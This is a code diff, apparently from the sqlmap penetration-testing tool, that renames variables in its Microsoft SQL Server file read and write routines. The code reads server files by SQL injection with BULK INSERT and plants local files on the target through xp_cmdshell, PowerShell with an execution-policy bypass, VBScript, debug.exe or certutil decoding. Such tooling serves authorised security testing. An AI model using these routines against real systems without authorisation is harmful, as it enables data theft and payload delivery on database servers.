@@ -81,8 +81,8 @@ def _updateDestChunk(self, fileContent, tmpPath):
8181
8282 return chunkName
8383
84- def stackedReadFile (self , rFile ):
85- infoMsg = "fetching file: '%s'" % rFile
84+ def stackedReadFile (self , remoteFile ):
85+ infoMsg = "fetching file: '%s'" % remoteFile
8686 logger .info (infoMsg )
8787
8888 result = []
@@ -93,8 +93,8 @@ def stackedReadFile(self, rFile):
9393 inject .goStacked ("DROP TABLE %s" % hexTbl )
9494 inject .goStacked ("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl , self .tblField , "VARCHAR(4096)" ))
9595
96- logger .debug ("loading the content of file '%s' into support table" % rFile )
97- inject .goStacked ("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl , rFile , randomStr (10 ), randomStr (10 )), silent = True )
96+ logger .debug ("loading the content of file '%s' into support table" % remoteFile )
97+ inject .goStacked ("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl , remoteFile , randomStr (10 ), randomStr (10 )), silent = True )
9898
9999 # Reference: https://web.archive.org/web/20120211184457/http://support.microsoft.com/kb/104829
100100 binToHexQuery = """DECLARE @charset VARCHAR(16)
@@ -147,7 +147,7 @@ def stackedReadFile(self, rFile):
147147
148148 if not isNumPosStrValue (count ):
149149 errMsg = "unable to retrieve the content of the "
150- errMsg += "file '%s'" % rFile
150+ errMsg += "file '%s'" % remoteFile
151151 raise SqlmapNoneDataException (errMsg )
152152
153153 indexRange = getLimitRange (count )
@@ -160,41 +160,41 @@ def stackedReadFile(self, rFile):
160160
161161 return result
162162
163- def unionWriteFile (self , wFile , dFile , fileType , forceCheck = False ):
163+ def unionWriteFile (self , localFile , remoteFile , fileType , forceCheck = False ):
164164 errMsg = "Microsoft SQL Server does not support file upload with "
165165 errMsg += "UNION query SQL injection technique"
166166 raise SqlmapUnsupportedFeatureException (errMsg )
167167
168- def _stackedWriteFilePS (self , tmpPath , wFileContent , dFile , fileType ):
168+ def _stackedWriteFilePS (self , tmpPath , localFileContent , remoteFile , fileType ):
169169 infoMsg = "using PowerShell to write the %s file content " % fileType
170- infoMsg += "to file '%s'" % dFile
170+ infoMsg += "to file '%s'" % remoteFile
171171 logger .info (infoMsg )
172172
173- encodedFileContent = encodeBase64 (wFileContent , binary = False )
173+ encodedFileContent = encodeBase64 (localFileContent , binary = False )
174174 encodedBase64File = "tmpf%s.txt" % randomStr (lowercase = True )
175175 encodedBase64FilePath = "%s\\ %s" % (tmpPath , encodedBase64File )
176176
177177 randPSScript = "tmpps%s.ps1" % randomStr (lowercase = True )
178178 randPSScriptPath = "%s\\ %s" % (tmpPath , randPSScript )
179179
180- wFileSize = len (encodedFileContent )
180+ localFileSize = len (encodedFileContent )
181181 chunkMaxSize = 1024
182182
183183 logger .debug ("uploading the base64-encoded file to %s, please wait.." % encodedBase64FilePath )
184184
185- for i in xrange (0 , wFileSize , chunkMaxSize ):
185+ for i in xrange (0 , localFileSize , chunkMaxSize ):
186186 wEncodedChunk = encodedFileContent [i :i + chunkMaxSize ]
187187 self .xpCmdshellWriteFile (wEncodedChunk , tmpPath , encodedBase64File )
188188
189189 psString = "$Base64 = Get-Content -Path \" %s\" ; " % encodedBase64FilePath
190190 psString += "$Base64 = $Base64 -replace \" `t|`n|`r\" ,\" \" ; $Content = "
191191 psString += "[System.Convert]::FromBase64String($Base64); Set-Content "
192- psString += "-Path \" %s\" -Value $Content -Encoding Byte" % dFile
192+ psString += "-Path \" %s\" -Value $Content -Encoding Byte" % remoteFile
193193
194194 logger .debug ("uploading the PowerShell base64-decoding script to %s" % randPSScriptPath )
195195 self .xpCmdshellWriteFile (psString , tmpPath , randPSScript )
196196
197- logger .debug ("executing the PowerShell base64-decoding script to write the %s file, please wait.." % dFile )
197+ logger .debug ("executing the PowerShell base64-decoding script to write the %s file, please wait.." % remoteFile )
198198
199199 commands = (
200200 "powershell -ExecutionPolicy ByPass -File \" %s\" " % randPSScriptPath ,
@@ -204,27 +204,27 @@ def _stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType):
204204
205205 self .execCmd (" & " .join (command for command in commands ))
206206
207- def _stackedWriteFileDebugExe (self , tmpPath , wFile , wFileContent , dFile , fileType ):
207+ def _stackedWriteFileDebugExe (self , tmpPath , localFile , localFileContent , remoteFile , fileType ):
208208 infoMsg = "using debug.exe to write the %s " % fileType
209- infoMsg += "file content to file '%s', please wait.." % dFile
209+ infoMsg += "file content to file '%s', please wait.." % remoteFile
210210 logger .info (infoMsg )
211211
212- dFileName = ntpath .basename (dFile )
213- sFile = "%s\\ %s" % (tmpPath , dFileName )
214- wFileSize = os .path .getsize (wFile )
212+ remoteFileName = ntpath .basename (remoteFile )
213+ sFile = "%s\\ %s" % (tmpPath , remoteFileName )
214+ localFileSize = os .path .getsize (localFile )
215215 debugSize = 0xFF00
216216
217- if wFileSize < debugSize :
218- chunkName = self ._updateDestChunk (wFileContent , tmpPath )
217+ if localFileSize < debugSize :
218+ chunkName = self ._updateDestChunk (localFileContent , tmpPath )
219219
220220 debugMsg = "renaming chunk file %s\\ %s to %s " % (tmpPath , chunkName , fileType )
221- debugMsg += "file %s\\ %s and moving it to %s" % (tmpPath , dFileName , dFile )
221+ debugMsg += "file %s\\ %s and moving it to %s" % (tmpPath , remoteFileName , remoteFile )
222222 logger .debug (debugMsg )
223223
224224 commands = (
225225 "cd \" %s\" " % tmpPath ,
226- "ren %s %s" % (chunkName , dFileName ),
227- "move /Y %s %s" % (dFileName , dFile )
226+ "ren %s %s" % (chunkName , remoteFileName ),
227+ "move /Y %s %s" % (remoteFileName , remoteFile )
228228 )
229229
230230 self .execCmd (" & " .join (command for command in commands ))
@@ -235,18 +235,18 @@ def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileTyp
235235 debugMsg += "on the server, please wait.."
236236 logger .debug (debugMsg )
237237
238- for i in xrange (0 , wFileSize , debugSize ):
239- wFileChunk = wFileContent [i :i + debugSize ]
240- chunkName = self ._updateDestChunk (wFileChunk , tmpPath )
238+ for i in xrange (0 , localFileSize , debugSize ):
239+ localFileChunk = localFileContent [i :i + debugSize ]
240+ chunkName = self ._updateDestChunk (localFileChunk , tmpPath )
241241
242242 if i == 0 :
243243 debugMsg = "renaming chunk "
244- copyCmd = "ren %s %s" % (chunkName , dFileName )
244+ copyCmd = "ren %s %s" % (chunkName , remoteFileName )
245245 else :
246246 debugMsg = "appending chunk "
247- copyCmd = "copy /B /Y %s+%s %s" % (dFileName , chunkName , dFileName )
247+ copyCmd = "copy /B /Y %s+%s %s" % (remoteFileName , chunkName , remoteFileName )
248248
249- debugMsg += "%s\\ %s to %s file %s\\ %s" % (tmpPath , chunkName , fileType , tmpPath , dFileName )
249+ debugMsg += "%s\\ %s to %s file %s\\ %s" % (tmpPath , chunkName , fileType , tmpPath , remoteFileName )
250250 logger .debug (debugMsg )
251251
252252 commands = (
@@ -257,18 +257,18 @@ def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileTyp
257257
258258 self .execCmd (" & " .join (command for command in commands ))
259259
260- logger .debug ("moving %s file %s to %s" % (fileType , sFile , dFile ))
260+ logger .debug ("moving %s file %s to %s" % (fileType , sFile , remoteFile ))
261261
262262 commands = (
263263 "cd \" %s\" " % tmpPath ,
264- "move /Y %s %s" % (dFileName , dFile )
264+ "move /Y %s %s" % (remoteFileName , remoteFile )
265265 )
266266
267267 self .execCmd (" & " .join (command for command in commands ))
268268
269- def _stackedWriteFileVbs (self , tmpPath , wFileContent , dFile , fileType ):
269+ def _stackedWriteFileVbs (self , tmpPath , localFileContent , remoteFile , fileType ):
270270 infoMsg = "using a custom visual basic script to write the "
271- infoMsg += "%s file content to file '%s', please wait.." % (fileType , dFile )
271+ infoMsg += "%s file content to file '%s', please wait.." % (fileType , remoteFile )
272272 logger .info (infoMsg )
273273
274274 randVbs = "tmps%s.vbs" % randomStr (lowercase = True )
@@ -327,10 +327,10 @@ def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType):
327327 Else
328328 mimedecode = InStr(Base64Chars, strIn) - 1
329329 End If
330- End Function""" % (randFilePath , dFile )
330+ End Function""" % (randFilePath , remoteFile )
331331
332332 vbs = vbs .replace (" " , "" )
333- encodedFileContent = encodeBase64 (wFileContent , binary = False )
333+ encodedFileContent = encodeBase64 (localFileContent , binary = False )
334334
335335 logger .debug ("uploading the file base64-encoded content to %s, please wait.." % randFilePath )
336336
@@ -349,35 +349,35 @@ def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType):
349349
350350 self .execCmd (" & " .join (command for command in commands ))
351351
352- def _stackedWriteFileCertutilExe (self , tmpPath , wFile , wFileContent , dFile , fileType ):
352+ def _stackedWriteFileCertutilExe (self , tmpPath , localFile , localFileContent , remoteFile , fileType ):
353353 infoMsg = "using certutil.exe to write the %s " % fileType
354- infoMsg += "file content to file '%s', please wait.." % dFile
354+ infoMsg += "file content to file '%s', please wait.." % remoteFile
355355 logger .info (infoMsg )
356356
357357 chunkMaxSize = 500
358358
359359 randFile = "tmpf%s.txt" % randomStr (lowercase = True )
360360 randFilePath = "%s\\ %s" % (tmpPath , randFile )
361361
362- encodedFileContent = encodeBase64 (wFileContent , binary = False )
362+ encodedFileContent = encodeBase64 (localFileContent , binary = False )
363363
364364 splittedEncodedFileContent = '\n ' .join ([encodedFileContent [i :i + chunkMaxSize ] for i in xrange (0 , len (encodedFileContent ), chunkMaxSize )])
365365
366366 logger .debug ("uploading the file base64-encoded content to %s, please wait.." % randFilePath )
367367
368368 self .xpCmdshellWriteFile (splittedEncodedFileContent , tmpPath , randFile )
369369
370- logger .debug ("decoding the file to %s.." % dFile )
370+ logger .debug ("decoding the file to %s.." % remoteFile )
371371
372372 commands = (
373373 "cd \" %s\" " % tmpPath ,
374- "certutil -f -decode %s %s" % (randFile , dFile ),
374+ "certutil -f -decode %s %s" % (randFile , remoteFile ),
375375 "del /F /Q %s" % randFile
376376 )
377377
378378 self .execCmd (" & " .join (command for command in commands ))
379379
380- def stackedWriteFile (self , wFile , dFile , fileType , forceCheck = False ):
380+ def stackedWriteFile (self , localFile , remoteFile , fileType , forceCheck = False ):
381381 # NOTE: this is needed here because we use xp_cmdshell extended
382382 # procedure to write a file on the back-end Microsoft SQL Server
383383 # file system
@@ -386,35 +386,35 @@ def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
386386 self .getRemoteTempPath ()
387387
388388 tmpPath = posixToNtSlashes (conf .tmpPath )
389- dFile = posixToNtSlashes (dFile )
390- with open (wFile , "rb" ) as f :
391- wFileContent = f .read ()
389+ remoteFile = posixToNtSlashes (remoteFile )
390+ with open (localFile , "rb" ) as f :
391+ localFileContent = f .read ()
392392
393- self ._stackedWriteFilePS (tmpPath , wFileContent , dFile , fileType )
394- written = self .askCheckWrittenFile (wFile , dFile , forceCheck )
393+ self ._stackedWriteFilePS (tmpPath , localFileContent , remoteFile , fileType )
394+ written = self .askCheckWrittenFile (localFile , remoteFile , forceCheck )
395395
396396 if written is False :
397397 message = "do you want to try to upload the file with "
398398 message += "the custom Visual Basic script technique? [Y/n] "
399399
400400 if readInput (message , default = 'Y' , boolean = True ):
401- self ._stackedWriteFileVbs (tmpPath , wFileContent , dFile , fileType )
402- written = self .askCheckWrittenFile (wFile , dFile , forceCheck )
401+ self ._stackedWriteFileVbs (tmpPath , localFileContent , remoteFile , fileType )
402+ written = self .askCheckWrittenFile (localFile , remoteFile , forceCheck )
403403
404404 if written is False :
405405 message = "do you want to try to upload the file with "
406406 message += "the built-in debug.exe technique? [Y/n] "
407407
408408 if readInput (message , default = 'Y' , boolean = True ):
409- self ._stackedWriteFileDebugExe (tmpPath , wFile , wFileContent , dFile , fileType )
410- written = self .askCheckWrittenFile (wFile , dFile , forceCheck )
409+ self ._stackedWriteFileDebugExe (tmpPath , localFile , localFileContent , remoteFile , fileType )
410+ written = self .askCheckWrittenFile (localFile , remoteFile , forceCheck )
411411
412412 if written is False :
413413 message = "do you want to try to upload the file with "
414414 message += "the built-in certutil.exe technique? [Y/n] "
415415
416416 if readInput (message , default = 'Y' , boolean = True ):
417- self ._stackedWriteFileCertutilExe (tmpPath , wFile , wFileContent , dFile , fileType )
418- written = self .askCheckWrittenFile (wFile , dFile , forceCheck )
417+ self ._stackedWriteFileCertutilExe (tmpPath , localFile , localFileContent , remoteFile , fileType )
418+ written = self .askCheckWrittenFile (localFile , remoteFile , forceCheck )
419419
420420 return written
0 commit comments